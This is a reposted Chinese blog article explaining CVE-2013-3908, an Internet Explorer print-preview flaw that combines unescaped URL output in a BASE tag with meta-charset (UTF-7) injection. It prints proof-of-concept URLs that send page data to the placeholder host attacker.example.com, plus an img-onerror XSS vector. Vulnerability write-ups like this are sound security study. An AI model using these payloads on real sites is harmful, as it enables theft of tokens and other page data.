CVE-2013-3908 Internet Explorer打印预览功能可导致信息泄露

转载

weixin_33834910 于 2014-11-02 19:00:00 发布 41 收藏
文章标签： php javascript ViewUI
原文链接：http://www.cnblogs.com/hookjoy/p/4069737.html

原文：http://masatokinugawa.l0.cm/2014/11/ie-printpreview-infoleak.html

问题1:
在IE9和以前的版本当中进行打印预览操作时，IE会取出原始页面的URL并将URL放到重新生成的html中的base标签的href属性里。 由于此处并没有对URL中的" < >等符号进行任何的处理可导致信息泄漏.虽然打印预览界面中，是没办法执行JavaScript的，但是我们可以构造这样的URL:

```
http://vulnerabledoma.in/security/search?q=123'&"><img/src='http://attacker.example.com/
```

当受害者访问了我们特定页面并试图打印该页面时，从下面的部分开始

```
<BASE
HREF="http://vulnerabledoma.in/security/search?q=123'&amp;"><img/src='http://attacker.example.com/
```

直到单引号被闭合的部分（直到原始页面中原有的单引号出现）都将作为一个http请求被发送到受害者web server。泄露的可能会是csrf token或其它信息。（这个很看运气，不过应该算是很基本的scriptless攻击了吧）
该问题由于利用难度较高，所以被判断为小影响的漏洞，宣布会在IE9以后的版本进行修复(作为最终结果，微软最后还是宣布会在IE9以及之前的版本也进行修复)
问题2:
这部分除了原作者之外和我也有一点关系。因为之前在捣鼓字符集相关的安全问题时，发现了个比较诡异的现象。就是指定字符集的meta标签在什么样的场景下有效。让我们来看看一个有趣的场景:

```
<html>
<head>
<title>输出</title>
<meta charset=utf-8>
</head>
<body></body>
</html>
```

我们都知道有一些标签具有所谓的htmlencode功能,比如上述示例代码的title标签。如果我们想在此处进行跨站脚本攻击，就需要结束这个title标签，插入类似:

```
</title><img src=x onerror=alert('lol')>
```

但，如果我们插入的是meta tag会怎么样呢？

```
<html>
<head>
<title><meta charset=shift_jis></title>
<meta charset=utf-8>
</head>
<body></body>
</html>
```

当你在console里，输入document.characterSet时你会发现实际上当前页面的字符集已经变成了shift_jis（可在firefox下进行测试）。如果加大测试场景你会发现不论是在script标签内，还是textarea这类的标签内，只要你插入的meta tag在前1024 byte之内（1024是SPEC上写的，但是实际测试只有980多byte），并且不存在什么response header中的设定，也没有在你插入的meta tag之前出现其它的meta tag对字符集进行过设定，你的meta tag都是有效的（具体的可以阅读浏览器的SPEC）。当时发现这个问题时，感觉十分的有趣但是由于并没有能发现很好的利用场景，就和@/fd联手做成了 一个xss挑战，希望别人也在看到这个之后研究一下会不会间接导致安全问题。这是当时出的xss challenge和相关的writeup:

```
http://kcal.pw/puzzle3.php

https://github.com/cure53/xss-challenge-wiki/wiki/Puzzle-3-on-kcal.pw
```

抱歉说了很多有的没的。回到原稿，MK也提出了类似的问题。

```
<html>
<head>
<meta test="<meta charset=big5>">
<script>
var x="<meta charset=koi8-r>";
</script>
<meta charset=utf-8>
</head>
<body>
<meta charset=iso-8859-1>
<button onclick="func()">charset is</button>
<script>
function func(){
  alert(document.charset||document.characterSet);
}
</script>
</body>
</html>
```

上述html页面，最终的characterSet会是什么呢？答案是chrome和safari会选择utf-8.Firefox会选择KOI8-R,而IE会认为是Big5.所以本题中的CVE-2013-3908就是这两个问题的组合拳.

```
http://vulnerabledoma.in/security/search2?q=123'&<meta charset=utf-7>+ACIAPgA8A-
img/src='http://attacker.example.com/


<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML
__IE_DisplayURL="http://vulnerabledoma.in/security/search2?q=123'&amp;<meta charset=utf-7>+ACIAPgA8A-
img/src='http://attacker.example.com/"><HEAD><META
content="IE=11.0000" http-equiv="X-UA-Compatible">
<META content="text/html; charset=iso-8859-1" http-equiv=Content-Type>
<BASE HREF="http://vulnerabledoma.in/security/search2?q=123'&amp;<meta
charset=utf-7>+ACIAPgA8A-img/src='http://attacker.example.com/"><STYLE> HTML { font-family : "Times New
Roman" } </STYLE> <METAcharset="iso-8859-1"></HEAD> <BODY><P>LoginID:exmaple@example.com</P><FORM
action=""method="get">SearchBox:<INPUT name="q" type="text" value="123'"> <INPUT type="submit"
value="submit">
</FORM></BODY></HTML>
```

回顾一下前面的知识，我们知道出现在神秘属性__IE_DisplayURL中的meta tag依旧会被解析，导致当前页面的字符集会被篡改成utf-7.这样一来即使在上报问题1给微软后，微软对URL输出部分进行了处理，也不能躲过字符集 被修改后通过没有<>的utf-7进行scriptless攻击的步伐。最后由于这个漏洞赶上了IE11的bug bounty活动，作者通过提交该问题获得了2200刀的奖励。

转载于:https://www.cnblogs.com/hookjoy/p/4069737.html